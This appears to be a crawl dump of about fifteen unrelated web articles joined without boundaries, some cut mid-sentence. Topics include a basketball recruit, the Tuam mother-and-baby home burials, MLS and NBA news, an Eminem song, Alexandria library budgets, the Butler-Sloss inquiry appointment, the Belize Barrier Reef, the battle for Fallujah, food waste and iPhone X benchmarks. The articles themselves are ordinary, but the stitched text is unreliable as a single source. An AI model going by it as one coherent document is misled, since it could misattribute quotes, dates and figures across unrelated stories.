but whatever me and my family decide is what it is.” Seton Hall’s Willard andwere on hand Friday. “Me and Sha are really close so we talk almost every day, if it’s not on the phone we’re texting,” he said. “It’s more than basketball with Coach Sha.”With Cal, O’Toole has been watching him. “He sends me a prayer every morning,” he said. Quinerly plans to take some official visits in the fall and then decide “probably November or December.” For now, he and his Sports U teammates want to win the 17U championship after winning titles at the 15U and 16U level. They lost to Team Rio on Friday night but bounced back with a win on Saturday over Texas Hard Work. “It’s big, we would be the first AAU team to ever accomplish something like that,” he said. “We would go down as legends. That’s the main goal, that’s all I care about.” Quinerly said he considered leaving Sports U and the Under Armor circuit for the Nike EYBL circuit like former teammatedid with Team Final, but he opted to stay loyal. “It was definitely a consideration but me and my family sat down and staying loyal was a big factor for us,” he said, “so we just came up with the decision to stay and we’re just rocking with the UA circuit.”Suspicions first arose as long ago as 1975 when two 12-year-old boys, Francis Hopkins and Barry Sweeney, peered into a hole in a concrete slab while they were playing. According to their accounts, it was “filled to the brim with bones.” However, most local people had apparently believed that the remains dated from a workhouse that had been on the site before the mother-and-baby home, or perhaps even as far back as the famine of the 1840s.
The allegations of a more recent origin are based on research by a local historian, Catherine Corless, who discovered from state records that up to 796 children had died at the home from a range of ailments including malnutrition, measles, tuberculosis, gastroenteritis and pneumonia. When she cross-referenced the names with those in local graveyards, she found none had been buried in any of those cemeteries.
Image The site of a mass grave for hundreds of children near the former Bons Secours home for unmarried mothers in Tuam, County Galway, Ireland. Credit Reuters
Based on mapping of the former home and strong anecdotal evidence, she concluded that the only possible resting place for the corpses had to be the site specified by the two boys almost four decades ago. The site is situated at the edge of the grounds of the former home.
The police, called the garda, said in a statement on Wednesday that there were no grounds for starting an investigation.
“These are historical burials going back to famine times,” the statement said. “There is no suggestion of any impropriety and there is no garda investigation. Also, there is no confirmation from any source that there are between 750 and 800 bodies present.”The Philadelphia Union's lengthy courtship of Maurice Edu has finally reached a successful conclusion, with the World Cup veteran midfielder leaving Stoke City to return to MLS.
Sochaux midfielder Vincent Nogueira. Follow GOAL.COM on
The Philadelphia Union have completed their quest to land U.S. national team midfielder Maurice Edu, agreeing to a deal Friday to bring the World Cup veteran to the Union for the 2014 season, sources confirmed to Goal USA Friday.The Union and Stoke City finalized the move for Edu on Friday, giving Philadelphia another major piece to a rebuilding puzzle that is coming together nicely for the MLS club, which recently signed Argentine midfielder Christian Maidana as a designated player.Edu's move to the Union hit a snag a week earlier after MLS officials balked at Edu's contract demands, believed to be in the $1.5 million a year range. MLS and Edu continued to negotiate, and while it is unclear just what the sides agreed on, what is clear is that Edu has now signed and will return to MLS since leaving Toronto FC to join Glasgow Rangers back in 2008.Edu has spent the past two years at Stoke City, where he has largely been unable to earn playing time. His last considerable amount of playing time came during a successful loan stint with Turkish side Bursaspor.Edu chose MLS over a handful of other options, including teams in Turkey and the English Championship. The 27-year-old midfielder will be banking on steady playing time with the Union helping his chances of securing a place on the U.S. World Cup squad this summer.Edu is the latest American to return to MLS from Europe this winter, a list that includes Michael Bradley and Michael Parkhurst.Goal USA has also learned the Union are close to completing the acquistion ofFrank Franklin II/Associated Press
ESPN's Adrian Wojnarowski reported Thursday that the NBA Board of Governors passed new rules for draft lottery reform and player resting.
Wojnarowski noted that the new lottery system meant to curb tanking will be in place for the 2019 NBA draft.
As part of the reformed lottery, the team with the NBA's worst record will no longer have sole possession of the best odds to get the No. 1 overall pick, as seen in this chart tweeted by Wojnarowski:
Each of the three worst teams will have an equal chance to get the first pick at 14 percent, whereas the worst team used to have a 25 percent chance followed by the second-worst at 19.9 percent and the third-worst at 15.6 percent.
Wojnarowski noted only the Oklahoma City Thunder voted no on the changes, with the Dallas Mavericks abstaining from the vote.
Although the new system doesn't necessarily give teams that are out of contention any incentive to win, it lessens the likelihood of a tanking team getting rewarded with the top selection.
Player rest became a hot-button issue last season when top teams rested their best players in nationally televised games.
The most notable examples were the Golden State Warriors and San Antonio Spurs utilizing skeleton lineups in a game against each other, and the Cleveland Cavaliers sitting LeBron James, Kyrie Irving and Kevin Love against the Los Angeles Clippers.
Wojnarowski reported on Sept. 18 that NBA Commissioner Adam Silver was pushing for a rule that would result in teams being fined if they sat healthy star players in nationally televised games or multiple healthy starters in regular-season games.
Silver will have discretionary power in fining teams for resting healthy players, and teams will be encouraged to do so for home games if they feel they have to. The rested players will also be required to be present on the bench, per Wojnarowski. Jeff Zillgitt of USA Today reported Silver could fine teams up to $100,000.
In an effort to curb the need for teams to rest healthy players, the league reduced the number of back-to-back games from 16.3 to 14.4 per team in 2017-18.The most shocking song of Eminem's career is actually a tribute to his mother.
On "Headlights," from Eminem's "MMLP2" album, the rapper offers a mature, sincere apology to his mom, Debbie Mathers, with whom he remains estranged.
The title "Headlights" is a reference to their last meeting. As she drove away, he became fixated on the headlights of her car as he coped with feelings of "overwhelming sadness," he raps.
On the song that features.fun singer Nate Reuss delivering the chorus, the Detroit rapper quickly apologizes for dissing his mother in songs like 2002's "Cleanin' Out My Closet" in which he calls her a "selfish b-tch" he hopes would "burn in hell."
In 1999, Debbie filed a $10 million lawsuit against Eminem, accusing him of slander and settled for $25,000 in 2001.
"I went in headfirst, never thinking about who what I said hurt … My mom probably got it the worst," he raps in his opening lyrics.
HEAR A 4 MINUTE EXCERPT OF "HEADLIGHTS." WARNING EXPLICIT LYRICS:
Later he adds, "But I'm sorry mama for 'Cleanin' Out My Closet,' at the time I was angry," and he adds that he has removed the song from his set list.
"That song I no longer pay at shows and I cringe every time it's on the radio," he says on the recording.
Eminem refers to a few incidences from their tumultuous past, getting kicked out of the house on Christmas Eve, constant fighting, and his younger brother Nathan getting taken to foster care. He regrets that his mother has not been involved in children's lives.
But he makes it clear that the song is about making amends, rapping that he hates their dysfunctional relationship.
View photos
In his most humbling confession, he acknowledges that his mother wrongfully endured the brunt of the blame for his tough upbringing.
"Now, I know it's not your fault, and I'm not making jokes," he raps.
He adds that he does not harbor any bad feelings: "But ma, I forgive you, so does Nathan yo."
He even gives her credit for her efforts to raise him as a single parent.
"All you did, all you said, you did your best to raise us both," he says. "Foster care, that cross you bare, few may be as heavy as yours. But I love you Debbie Mathers, oh what a tangled web we have."
Eminem holds on to the memories of the last time they saw each other. Debbie came to his house as he, Nate and a woman were leaving to get something to eat.
"And I'm mad I didn't get the chance to thank you for being my mom and my dad," he says. "So Mom, please accept this as a tribute I wrote on this jet."
In the final verse, he discusses mortality, saying that should the plane crash he was OK. "I am not afraid to die," he raps.
It sounds like the formerly troubled rapper is experiencing his longed for Recovery.
Follow me on Facebook, Twitter.Get ePub or Kindle file of this
Just what can increase kids’ test scores, help cut crime, improve race relations in the post-Ferguson era, and even help delay the onset of dementia?
Clue: You’ll find them at your local library, although probably not as many as you’d like.
Yes, I’m talking about books, and unlike the lyrics in the YouTube video, “All About the Books, No Trouble,” there is trouble—lots of it.
The average U.S. library devotes only 11.4 percent of its operating budget to books and other collection items, according to the Institute of Museum and Library Services. And yet the Pew Foundation says they’re are a major reason why people go to the library. A whopping 25 percent of library budgets went for materials in 1942. No typos in those numbers. Yes, we’ve actually slipped that far.
In Alexandria, Virginia, my hometown, the figure is now less than 6 percent. Here’s the library’s explanation, paraphrased. We’re a high-cost area and must pay our librarians and other staffers fairly. Plus, we need such extras as guards for patrons’ security. So, sadly, when all is said and done, we can spend only about $2.50 per capita on books despite the national average being around $4.
How to increase the book budget when the library staff says every dime is already committed? Ahead are some points I’ll trot out in hopes of educating our city officials or at least citizens associations and others with influence. You may want to make similar arguments in your locality, beyond the ones you’re already using. The city budget here in Alexandria won’t be approved for some months. But it is never too early to start, especially in my city, where a community meeting on the budget is tentatively scheduled for January 12, from 7 to 8:30 p.m. at the library’s Beatley branch (go here for confirmation).
Surtax or dedicated fund—to forestall a race to the bottom?
Based on history, I doubt that most of the Alexandria City Council members now in office will listen to us library advocates if we don’t forge alliances with groups such as civic associations and PTAs and get the media on our side. The city budget exceeds $636 million. And yet Alexandria is spending only about $360,000 on books and other library items when a $4 per capita average would call for $600,000. One council member has just pointed me to an op-ed telling how Fairfax County in recent years has been decimating its library budget. He didn’t quite put it this way, but I got the sense he was saying, “Keep your expectations low for book-spending in Alexandria.” I won’t. We must not race Fairfax or other localities to the bottom.
With the above in mind, we badly need a small library surtax to assure that library books aren’t lost in the budget shuffle. The surtax would provide for book spending at the national average per capita, as determined by ongoing updates from the IMLS, with the Alexandria Library encouraged to augment the surtax from the library's operating budget. Come on. Whatever that works out in millage, the tax increase would be minuscule.
Let’s put Alexandria’s miserliness toward library books in perspective. Rashad Young, our city manger, single-handedly collects $266.5K in salary alone and about $350K in total compensation—almost as much as the public library materials budget for our 150,000 residents. And remember, the $360K materials budget includes DVDs and such, not just books. The Alexandria Times ran an informal poll on Mr. Young’s performance, and 203 people had responded online by the morning of December 16, the day I took the screen shot to the right. A mere 12 percent believed he was doing “a good job.” Not exactly a vote of confidence in Mr. Young or, in effect, the politicians who appointed him. He is about to move across the Potomac to be city administrator of Washington, D.C. And yet his salary will be “only” $295,000 in a city with four times our population, not much of a raise in relative terms. If Alexandria can let Mr. Young so egregiously overcharge, can’t it come up with a smidgen more for books through a new surtax?
Alas, City Attorney James Banks tells me: "A library surtax is not currently the subject of specific taxing authority granted by the State to local governments. Therefore, such a tax would only be possible after the passage of specific authorizing legislation by the General Assembly." Time for Virginia to pass such legislation? I certainly think so. And maybe outside Virginia, your locality can already initiate such a surtax without authorization from the State House.
The good news from Mr. Banks is that our City Council “may create and fund a special fund for any of its current services as long as the money for that special fund is generated from existing taxing authority (within the bounds of current law)." If City Council wants the all the options outlined, he'll be ready. If the city is worried about fiscal challenges, just increase the regular tax rate a speck to pay for the library fund. Most citizens will cheer. A library book fund will be a far wiser use of their money than Young-sized salaries.
Wherever your live, why not consult with your city attorney’s office or the equivalent to determine what taxing powers exist to increase the amount for books? Again, a surtax would be best. But even a dedicated fund would help since it would give books a higher profile than they now enjoy in the typical locality’s budgetary process. A vote for or against the creation of such a fund—again, I’m proposing one to guarantee a book-related budget of at least the national average—would give voters a chance at election time to understand the values and priorities of Jane or Joe Doe Politician. Do America’s local solons really want to run so directly against library books and other collection items, especially given the items’ popularity, as documented by Pew?
Six pro-book points to make
In pressing for the surtax or special fund to increase your city’s library book budget, here are six more points that you and other library advocates might want to make:
Point #1: The right books—offered along with well-trained teachers and librarians to help students discover, absorb and enjoy them—are a rather cost-effective way to raise test scores. See a major UK study on the benefits of recreational reading; a preview of a Scholastic Magazine report telling how kids read more if more books are around; and an old but extremely authoritative study for the International Association for the Evaluation of Reading Achievement.
"The availability of books," wrote the author of booklet on the IEA study after analyzing test scores of 200,000 students in 32 countries, "is a key factor in reading literacy. The highest-scoring countries typically provide their students with greater access to books in the home, in nearby community libraries and book stores, and in the school." At age 9, book availability was found to have been more crucial at developing reading literacy than were small classes or past pre-school attendance.
Nothing against pre-school or decent student-teacher ratios—we need everything! But the more recreational reading, the better. That means promoting literacy not just among K-12 students but also among their main role models, their parents. We deserve well-stocked public libraries along with the school variety.
In Readicide: How Schools Are Killing Reading and What You Can Do About It, veteran educator Kelly Gallagher quotes supporting studies and writes about the virtues of creating “book floods,” as some call them, to encourage recreational reading. Gallagher misses out on some angles, such as the full potential of family literacy and of close cooperation between school and public libraries, as well as the ability of e-books to expand the range of titles matching students’ needs and interest. But Readicide is still “must” reading for public official considering a library or school budget.
Smartly, Alexandria’s T.C. Williams High School has installed the OverDrive e-library app on the tablets provided to the thousands of T.C. students. Now they can download books from the Alexandria public library, not just the school library. It’s time for the library to have a big enough of a book budget to win them and their parents over with the right digital and paper titles.
Tablets need not be the only e-book capable devices in the house. Check out LibraryCity ‘s proposal for multigenerational “cell phone book clubs,” where books in any format would be welcome even though a major focus would be on cell phones. Other than keys or purses or wallets, the phones are the objects that Americans are most likely to carry with them. So here’s a chance to read books everywhere, in the grocery line, at the beach, you name it. Dr. Elizabeth Hoover, chief technology officer for the Alexandria City Schools, as well as a former teacher, has spoken out for the cell phone idea in a video. Jeff Scott, just appointed library director in Berkeley, California, hopes to experiment the concept there. He says the idea overlaps heavily with what he was doing in Tulare County prior to his Berkeley appointment, and I couldn’t be more pleased to hear that. In San Francisco, moreover, library patrons can choose from 11 online book clubs. The cell phone club concept would be a natural for Alexandria, where, laudably, the library not only offers traditional book clubs but also provides “book club kits” of paper books for groups of patrons to to check out to start their own clubs. Simply put, I’m talking about cell phone book clubs as a way to augment and reinvent existing initiatives, not replace them.
Point #2: Stop pitting law enforcement needs against book needs. The right books can themselves help reduce crime. One way is by building empathy, and well-done novels, able to transport readers into the worlds of their characters, are the titles most likely to do this. So should libraries offer just high-brow lit—to increase empathy and vocabularies? Of course not. “When academic reading is the only kind of reading put on our students’ plates,” warns Kelly Gallagher, “readicide occurs. As much as I love Dickens and Shakespeare, I would turn off to reading if I didn’t have a balanced reading diet that included Scott Turow or Michael Connelly.” Besides who’s to say that good contemporary genre fiction or Truman Capote-style nonfiction—with well developed characters—can’t build empathy? That said, students are more likely to run across the very most empathy-growing books through their local libraries than by merely surfing around at Amazon for the most action-filled potboilers.
But can this really apply to crime prevention? Absolutely. As reported in The Journal of Offender Rehabilitation, 19 percent of participants in a Changing Lives Through Literature program were reconvicted compared to 45 percent in the control group. But even a tiny reduction in incarceration rates would save taxpayers some nice money. Time for the library system to partner up with the police department and the courts and get a good Changing Lives Through Literature program going? The same concept, of course, would work with other city agencies, whose missions the library can help fulfill.
Point #3: The same empathy-building powers mentioned in Point #2 can also improve post-Ferguson race relations. Academic research shows that police are more likely to see African-American children as more deserving of tough treatment than whites the same age. Might some preemptive bibliotherapy for police reduce the odds of Ferguson-style incidents in Alexandria or elsewhere? The other side of the coin is that if Americans at large become more empathetic, police officers themselves are less likely to be gunned down.
I can see homeland security possibilities, too. Empathy-building books are one way for new Americans from diverse backgrounds to identify more closely with people around them and less with violence-prone political or religious groups.
Point #4: Books in many cases may be able help delay the onset of dementia. In a follow-up study, the U.K. researchers found that keen young recreational readers were more likely to read in middle age and beyond. Stronger readers are less likely to suffer early dementia. Even a tiny reduction in dementia, now as much as $215 billion yearly at the national level, could cost-justify more money spent on library books. The national figure for book spending is a pathetic $1.2 billion a year.
Point #5: We’ve got waste elsewhere in local government that we can cut to make way for a book budget that at least matches the pathetic national norm. In Alexandria, of course, the City Manager’s bloated salary should be Exhibit A. Never again must this happen. And the money saved should go for library books. Some other top officials resigned before Mr. Young did, and if their salaries and benefits were at the same outrageous levels, perhaps we can downsize them as well.
Point #6: A surtax or dedicated fund would be one way to avoid the public’s book needs being pitted as directly against librarians’ personal needs as they have here in Alexandria. The average full-time library employee here is making around $58K, a reasonable figure in a high-cost area like D.C.—and a far, far cry from Mr. Young’s $266.5K. The existence of a dedicated library-books fund should not be used as an excuse to cut the total existing library budget of about $7 million. Libraries are and should be about much more than books. Still, the public regards books as libraries’ main calling card, and considering all the benefits, this all for the better.
Note: I’m as gung ho as ever on the idea of a national digital library endowment. But I don’t see it as the sole source of revenue for content and other library-related uses.
Update, 1:49 p.m.: In Massachusetts, to qualify for state certification, a library system for a city our size normally must devote at least 12 percent of its budget to books and other materials. Thanks to princess-smartypants on Reddit for this tidbit. And now—the inevitable question. Does Virginia have materials-percentage requirements, and if so, is Alexandria violating them? I’ll check. It the state doesn’t, it’s high time for them.
Similar Posts:(not satire – it’s the UK today)
There has been some criticism of Theresa May’s decision to appoint Lady Butler-Sloss as chair of the VIP paedophile inquiry.
Most of the criticism has centred around the fact Lady Butler-Sloss sits in the House of Lords and may have to criticise her fellow peers in the inquiry.
Personally, I think much more worrying is the little mentioned fact that Butler-Sloss will most certainly have to investigate a close member of her own family.
Her brother is former Tory MP and Attorney General Sir Michael Havers – who also happened to be one of the establishment figures alleged to have argued for the protection of the identities of VIPs accused of child abuse.
But don’t just take my word for it.
Just 4 days ago – before it was announced Butler-Sloss would head the inquiry – the pro-establishment Daily Mail had this to say about Havers:
But it was also Butler-Sloss’s brother Havers who – as Attorney General under Margaret Thatcher – defended the decision not to prosecute the VIP paedophile Sir Peter Hayman in 1981:
And in 1983, Havers was accused by the Sun Newspaper of withholding information about a convicted paedophile’s membership of the Paedophile Information Exchange during his trial “to avoid embarrassing security chiefs”:
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Perhaps Butler-Sloss will have no qualms about investigating her own brother for being part of an establishment cover-up of child abuse by VIPs.
But just in case – perhaps it’s better that someone else is given the job of leading the investigation.
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More reading:
Sir Michael Havers, brother of Baroness Butler-Sloss
How the Establishment hid the monster in their midst
Tories must say sorry for ‘covering up child sex abuse’
Questions over choice of Butler-Sloss as head of child abuse allegations inquiry
Michael Havers, Baron Havers
Please feel free to comment. And share. Thanks:View Caption Hide Caption Gian Piero Ragonesi (UM Athletics)
Mark Richt‘s offense makes use of a fullback, and that means he needs fullback depth.
With senior Gage Batten recovering from a serious foot injury and Walter Tucker gone, the Hurricanes asked track-and-field thrower Gian Piero Ragonesi to join the team. He will wear No. 39.
Ragonesi, a junior, has never played American football but has some rugby experience.
In track, the 21-year-old’s credentials are strong. He has competed for Italy internationally and is already one of the top throwers in Miami’s history. According to his UM track bio, Ragonesi attended schools in Peru, Mexico, Chile and Spain before coming to Coral Gables.
UM lists him at 6-feet, 270 pounds.
If he becomes a standout on the football field, that would give him something in common with former Hurricanes wide receiver Santana Moss, whom Butch Davis added to the program via track scholarship. Davis, of course, knew Moss was an excellent football player. Ragonesi is an unknown.
Richt has previously expressed a need to recruit traditional fullbacks. In spring drills, the combination of H-back Chris Herndon and tight end David Njoku was effective, but they weren’t — and won’t be — used every down this fall, even if both players remain healthy.
Batten, a Palm Beach Gardens native and Dwyer High grad who previously played for Auburn, beat out Tucker for the starting role entering the 2015 season. Tucker later transferred to FIU. With Batten injured during spring drills, UM relied on converted linebackers Cory Giordano and Wyatt Chickillo as fullbacks, and used Herndon in that role occasionally.
This week, the Hurricanes added eligible Division 2 transfer fullback Marquez Williams, of Mars Hill (N.C.). Williams was listed at 6-foot-2 and 265 pounds by his former school.The Belize Barrier Reef is a series of coral reefs straddling the coast of Belize, roughly 300 meters (980 ft) offshore in the north and 40 kilometers (25 mi) in the south within the country limits. The Belize Barrier Reef is a 300-kilometer (190 mi) long section of the 900-kilometer (560 mi) Mesoamerican Barrier Reef System, which is continuous from Cancún on the north-eastern tip of the Yucatán Peninsula through the Riviera Maya and up to Honduras, making it the second largest coral reef system in the world after the Great Barrier Reef in Australia. It is Belize's top tourist destination, popular for scuba diving and snorkeling and attracting almost half of its 260,000 visitors. It is also vital to the country's fishing industry.[1]
Charles Darwin described it as "the most remarkable reef in the West Indies" in 1842.
In addition to its barrier reef, it also boasts three distinct Caribbean atolls: Turneffe Atoll, Glover's Reef and Lighthouse Reef. Lighthouse Reef is the most easterly diving area in Belize, it is home to the Great Blue Hole, made famous by Jacques Cousteau in 1970; Turneffe Atoll lies directly to the east of Belize City and is the nearest of the atolls to the capital. These different reefs provide diverse scuba diving opportunities that include walls, pinnacles and reef flats that are located throughout an enormous area of sea.[2]
Species [ edit ]
The Belize Barrier Reef is home to a large diversity of plants and animals :
70 hard coral species
36 soft coral species
500 species of fish
hundreds of invertebrate species
With 90% of the reef still needing to be researched, it is estimated that only 10% of all species have been discovered.[3]
Environmental protection [ edit ]
A large portion of the reef is protected by the Belize Barrier Reef Reserve System, which includes seven marine reserves, 450 cayes, and three atolls. It totals 960 square kilometres (370 sq mi) in area, including:
In 1996 the Reserve System was designated a World Heritage Site due to its vulnerability and the fact that it contains the most important and significant natural habitats for in-situ conservation of biological diversity (according to criteria VII, IX, and X).
Belize became the first country in the world to completely ban bottom trawling in December 2010.[4][5] In December 2015, Belize banned offshore oil drilling within 1 km of the Barrier Reef.[6]
Despite these protective measures, the reef remains under threat from oceanic pollution as well as uncontrolled tourism, shipping, and fishing. Other threats include hurricanes, along with global warming and the resulting increase in ocean temperatures,[7] which causes coral bleaching. It is claimed by scientists that over 40% of Belize's coral reef has been damaged since 1998.[1]
The Belize Barrier Reef has been affected by mass-bleaching events. The first mass bleaching occurred in 1995, with an estimated mortality of 10 percent of coral colonies, according to a report by the Coastal Zone Management Institute in Belize. A second mass-bleaching event occurred, when Hurricane Mitch struck in 1998. Biologists observed a 48 percent reduction in live coral cover across the Belize reef system.
Usually, it is hard to distinguish whether the reason for coral bleaching is human activities or natural reasons such as storms or bacterial fluctuations.
|
IL) group, top commanders say.
The government lost control of Fallujah in 2014, months before ISIL took Iraq's second largest city, Mosul, and swept across large parts of the country.
"The counterterrorism service and the rapid response forces have retaken the government compound in the centre of Fallujah," the operation's overall commander, Lieutenant-General Abdulwahab al-Saadi, told AFP on Friday.
The Iraqi flag is now raised on top of the building, symbolising government control.
Raed Shaker Jawdat, Iraq's federal police chief, confirmed the advance, which marks a significant step in the nearly four-week-old offensive to retake the city in Anbar province.
"The liberation of the government compound, which is the main landmark in the city, symbolises the restoration of the state's authority" in Fallujah, he said.
Both commanders said their forces had met limited resistance from ISIL fighters during the push into the city centre.
"This is a very significant development," said Al Jazeera's Omar Al Saleh, who has reported extensively on the conflict in Iraq.
"It is a big moral boost for Iraqi soldiers."
Government troops and Shia units known as the Popular Mobilisation Forces are leading the campaign to retake the city from ISIL.
They are supported by US-led coalition air strikes.
"In different parts of Fallujah ISIL still remains," said Saleh, "Iraqi forces still have a tough few days ahead."
It is believed that up to 90,000 civilians are still inside Fallujah. And the clashes between the government forces and ISIL are causing casualties.
Al Jazeera's Saleh said the death toll so far is based on estimates by medical sources from the city of Fallujah.
READ MORE: Militias take turns to torture civilians in Fallujah
"They say it is in the hundreds," he said.
Although the Iraqi government previously said it had a particular strategy to establish safe corridors for civilians in the city centre to leave, many have been reluctant to go for fear of how they may be treated by the Shia units.
The humanitarian crisis in Iraq has been dubbed one of the world's worst by the UN.
Since the beginning of the present conflict in 2014, more than 3.4 million people have been internally displaced and 2.6 million have fled Iraq.It could be argued that Mauricio Pochettino is a manager out of his time, as the fundamentals of his approach are all rooted in simple principles.
At its most vivacious, his brand of football may possess a satisfying technicality, but its core is reliant on old-fashioned hard work and on players operating at the extent of their physical limitations.
Modern football teams are build around more than just a single governing philosophy, of course, but Tottenham – as Southampton were previously – have been predominantly reconstructed from honesty. The club's players have become more accountable to each other than at any other point during the modern era and, though individuals have risen from inside the group, their reputations are the product of a collective movement.
Pochettino's Tottenham have earned their place among the league's elite
He is evidently someone with a magnetic quality and his ability to alter players' habits is dependant on the same intangibles
If Spurs were previously the team of isolated, flawed class and associated with style rather than substance, then Pochettino's biggest triumph has been to give them a proper texture.
There's a voodoo to his work. It's a slight cliche, but every technical aspect of his management relies on his personality. He is evidently someone with a magnetic quality and his ability to alter players' habits is dependant on the same intangibles.
It's one thing to preach the importance of conditioning and the primacy of teamwork, but it's quite another to enact that change; the modern professional is neither notoriously selfless nor typically receptive to prompts for self-improvement.
Crafting careers
But perhaps Pochettino's biggest achievement during the English leg of his career, the factor which truly marks him out among his peers, relates to the number of careers he has been able to change.
Lallana blossomed under Pochettino's guidance
Eric Dier has been reinvented, Erik Lamela's career has been resurrected, and Kyle Walker has matured beyond all recognition
At St Mary's, he progressed Adam Lallana and Jay Rodriguez to levels which were never considered possible, and helped to chisel Luke Shaw into a player who Manchester United would eventually spend £30m on.
At White Hart Lane, those transformations have been even more dramatic. Though an evolution for which others claim responsibility, he was the true catalyst in Harry Kane's career and helped to add the layers to his goalscoring which have subsequently made him an England international.
Similarly, the emboldening of Danny Rose is one of his most pronounced successes: a fragile player whose defensive naivety bred deep supporter mistrust has evolved into England's first-choice full-back. Eric Dier has been reinvented, Erik Lamela's career has been resurrected, and Kyle Walker has matured beyond all recognition. Pochettino even managed to wrangle Mousa Dembele's talent and turn him from a player most fans would happily have seen sold to one who they dare not be without.
Embedded video for FourFourTwo’s 50 Best Football Managers in the World 2016: No.19, Mauricio Pochettino
Poch’s place
He has been a tactician, a motivator and, most pertinently, has exorcised many of the emotional demons which haunted the club's corridors for decades
The proof of the Argentine's progress is in the literal improvements recorded in the league tables and in the stingy defensive statistics, but his real worth is evidenced by the culture which he has been able to create.
There are several non-footballing reasons why Tottenham now radiate with organic health, but Pochettino's command over the north London atmosphere has been the centre-point; he has been a tactician, a motivator and, most pertinently, has exorcised many of the emotional demons which haunted the club's corridors for decades.Race and ethnicity as a function of climate-change attitudes is the subject of a recent study by Jonathon Schuldt, assistant professor of communication in the College of Agriculture and Life Sciences, and collaborator Adam Pearson, assistant professor of psychology at Pomona (Calif.) College.
Their work is documented in a paper, "The role of race and ethnicity in climate change polarization: Evidence from a U.S. national survey experiment," and is published online in the journal Climatic Change.
Schuldt and Pearson analyzed data from a 2012 survey that focused on the respondents' opinions regarding climate change and their political partisanship. They then examined the role minority vs. majority status played in terms of respondents' views on the issue.
The analysis revealed some key insights. Although a person's politics (as a liberal or a conservative) is normally a strong predictor of their climate opinions, Schuldt and Pearson find that when it comes to the opinions of non-whites, politics matters less than it does for whites. Non-whites were also less likely to consider themselves "environmentalists," even though their climate opinions largely matched those of whites.
The main takeaway for Schuldt? Non-whites care as much, or more, about the environment as do whites, and oftentimes are more directly affected by the negative effects of climate change, but are underrepresented among those addressing the issue.
"We think about this in terms of social barriers to engagement," Schuldt said. "We're seeing high levels of concern, and less politicized attitudes, among some groups that are nevertheless not at the table. And so the question is, why are they not at the table? Unfortunately, some in the past have said, 'Well, if they're not there, it's because they don't prioritize it.' But the data don't bear that out."
"You think of the prototypical environmentalist or you look at some environmental organizations," Schuldt said, "and many who we need in the movement might think, 'They don't look like me, therefore maybe I'm not welcome.'"
Schuldt thinks socio-economic realities are also factors in why some members of minority groups don't officially join the cause.
"It's possible that for many non-whites, it's not so much some abstract political issue as it is a real-life-impacts issue," Schuldt said. "There's work showing that minority groups are more likely to suffer disproportionate climate impacts, and are highly aware and more attuned to those unfair negative impacts."
Schuldt and Pearson, with their colleague Rainer Romero-Canyas of the Environmental Defense Fund in Manhattan, are already working on a new national-level survey to further "unpack these social factors," Schuldt said. As Hispanics make up the fastest-growing demographic in the U.S., the new study will have a particular focus on that group, he said.
"If you want to project what climate change attitudes are going to be like 30 years from now, this is a group that you want to understand," he said.A rough summation of the 2013 Atlanta Falcons season thus far would include the following:
That's a tough start to the year, the toughest since the loathsome 2007 season or the disappointing 1999. I can't promise you it's going to get better, either. Predictably, this has led to some soul-searching over what this year means for us as Falcons fans and what we can do to ride it out.
Many of you are probably familiar with my history as a fan, which stretches back to (guesstimating, I was young) 1989. Those years were pocked with failure and disappointment, right up until the glorious '98 season. That one ended poorly, too.
The point is, success for these Falcons has been fleeting and not to be expected. When I kicked off The Falcoholic in October 2006, I had hope that the Michael Vick-led Falcons would turn the corner, but no expectation that they would. One learned not to expect anything, and then one was sometimes pleasantly surprised.
That seemed to change in 2008.We saw the most sustained success in Falcons history, with two 13-3 records, an NFC Conference Championship Game and lots of wins. It was a lot of fun, but uneasiness remained. Always.
Some fans have never fully embraced this incarnation of the team, and I've always believed there were two primary reasons for that. The first is that they're so recent that failure is foreign to them, and this feels cataclysmic. The second is that they've been fans for so long that a successful Falcons team still looked like all the old Falcons teams in a nice suit: Still a loser.
And so, we have wildly divergent reactions to this team in 2013. There's the crowd that still believe it's possible to right the ship. We have those who are feeling like this team is doomed and the only way to fix things is to clean house, sweeping out the regime and some of the players. And then there are the fans that are resigned to a lousy season, but will keep that little sliver of hope alive anyways.
Know what? None of that is wrong, even if I wish you guys would stop asking for John Abraham back. Being a Falcons fan in 2013 just means we're having to deal with the kind of absurd fortune and lackluster play we had sort of gotten used to not seeing over the last half-decade. How you deal with it is up to you.
Hope for the best, expect the worst. That's all we can do.
More from The Falcoholic:What’s your water footprint? It’s a hot topic for World Water Day, but if you throw lots of food away you could be wasting more than you thought, due to new figures revealing the environmental impact of food waste.
Despite our best intentions, most of us end up throwing food away on a regular basis. For me, it’s often larger vegetables, like cabbage, that I buy for a Sunday roast and then can’t find a use for all week.
I’ve always consoled myself with the fact that it goes into the compost, eventually helping to (organically) feed my garden. Until today, that is, because a new study by WRAP (Waste & Resources Action Programme) and WWF has revealed some rather sobering facts about the environmental consequences of our food waste.
Food waste in numbers
The report calculated that the amount of water it would take to produce all the food UK householders throw away would equate to 6.2 billion cubic metres each year – or an astonishing 6% of all the UK’s water requirements.
As if that wasn’t bad enough, the same wasted food also represents 14 million tonnes of CO2 emissions – the equivalent of that created by 7 million cars each year.
This is all a real eye-opener for me. I try to throw away as little food as possible – I’m liberal when it comes to use-by dates and am happy to throw limp veg into soups – but my main motivation has always been not wanting to be wasteful. Stopping to consider how my wastefulness is multiplied down the food chain has never occurred to me before now.
The size of our water footprint
As Liz Goodwin, chief executive at WRAP, says, ‘These figures are quite staggering.’ She explains that the ‘water footprint’ for wasted food is 280 litres per person per day – that’s nearly twice the amount of water the average household uses every day.
And what’s shocked me more is to see the breakdown of who creates the most waste. Up there at the top isn’t retail, as I’d assume. It’s us. Yep, household waste accounts for more than half of the waste generated within the food supply chain, whereas retail only accounts for 7.6%.
We’ve all seen images of the huge amount of food waste created by supermarkets, which puts these figures into some context. In my mind, these findings should shake us into action to plan our meals, eat our leftovers and use the freezer – or we might as well watch water wash down the drain.Apple’s iPhone X is due to be revealed later today, but it’s apparently already started to hit the benchmarks. Shocker: it’s fast. Like, insanely fast.
A mysterious ‘iPhone10,5‘ showed up on Geekbench’s catalog today, and assuming it’s not somehow a false entry, it’s posting speeds that are way faster than anything Android’s current generation has to offer: a 4095 on the single core test, and 9959 on the multi-core one.
For comparison, a quick search of the most powerful Android devices shows they achieve about half of those numbers:
Samsung Galaxy S8: 2024 single, 6279 multi
OnePlus 5: 1932 single, 6495 multi
Huawei P10: 1865 single, 5973 multi
But it’s not just smartphones; the iPhone X even matches or surpasses some of Apple’s own tablets and laptops. For example:
iPad Pro 10.5-inch: 3558 single, 9133 multi
MacBook Air (2017): 3126 single, 5935 multi
